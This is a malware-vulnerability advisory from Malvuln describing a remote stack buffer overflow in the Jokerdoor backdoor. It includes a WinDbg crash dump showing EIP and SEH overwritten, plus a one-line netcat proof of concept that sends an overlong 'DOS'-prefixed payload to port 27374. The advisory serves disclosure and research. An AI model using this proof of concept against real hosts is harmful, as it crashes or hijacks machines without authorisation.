Backdoor.Win32.Jokerdoor malware suffers from a buffer overflow vulnerability.
b1a0f0eda16637855c7124025a9bba474d285060035c7ace064b81d352be6595Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/783a191e7944e1af84ec0fa96d933f30.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Jokerdoor
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 27374. Attackers who can reach an infected system can send a large payload and trigger a classic stack buffer overflow overwriting the ECX, EIP registers and structured exception handler (SEH). When connecting you will get a "connected" server response, then we supply our payload as a parameter prefixed by "DOS".
Family: Jokerdoor
Type: PE32
MD5: 783a191e7944e1af84ec0fa96d933f30
Vuln ID: MVID-2022-0628
Dropped files: ywwqlwntubs.exe (random names)
ASLR: False
DEP: False
CFG: False
Safe SEH: False
Disclosure: 08/03/2022
Memory Dump:
(21f0.2268): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1600 ebp=000a1620 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:000> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1600 ebp=000a1620 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for ywwqlwntubs.exe
*** ERROR: Module load completed but symbols could not be loaded for ywwqlwntubs.exe
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
+26
41414141 ?? ???
EXCEPTION_RECORD: 0019ee34 -- (.exr 0x19ee34)
ExceptionAddress: 41414141
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414141
Attempt to read from address 41414141
PROCESS_NAME: ywwqlwntubs.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000008
EXCEPTION_PARAMETER2: 41414141
WRITE_ADDRESS: 41414141
FOLLOWUP_IP:
+26
41414141 ?? ???
FAILED_INSTRUCTION_ADDRESS:
+26
41414141 ?? ???
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.
IP_IN_FREE_BLOCK: 41414141
CONTEXT: 0019ee84 -- (.cxr 0x19ee84)
eax=00010000 ebx=04223c0c ecx=749feb0d edx=00000000 esi=010b0844 edi=02860d24
eip=41414141 esp=0019f2e4 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
41414141 ?? ???
Resetting default scope
ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]
LAST_CONTROL_TRANSFER: from 41414141 to 41414141
FAULTING_THREAD: ffffffff
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_STACKIMMUNE
DEFAULT_BUCKET_ID: STACK_OVERFLOW_STACKIMMUNE
FRAME_ONE_INVALID: 1
STACK_TEXT:
00000000 00000000 ywwqlwntubs.exe+0x0
STACK_COMMAND: .cxr 000000000019EE84 ; kb ; ** Pseudo Context ** ; kb
SYMBOL_NAME: ywwqlwntubs.exe
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: ywwqlwntubs
IMAGE_NAME: ywwqlwntubs.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19
FAILURE_BUCKET_ID: STACK_OVERFLOW_STACKIMMUNE_c0000005_ywwqlwntubs.exe!Unknown
BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE_BAD_IP_ywwqlwntubs.exe
0:000> !exchain
000a1614: ntdll!ExecuteHandler2+44 (77729d70)
....
0019f2e4: 41414141
Invalid exception stack at 41414141
Exploit/PoC:
C:\>python -c "print('DOS'+'A'*804)" | nc64.exe x.x.x.x 27374
connected. 22:22 - August 1, 2022, Monday, ver: Legends 2.1
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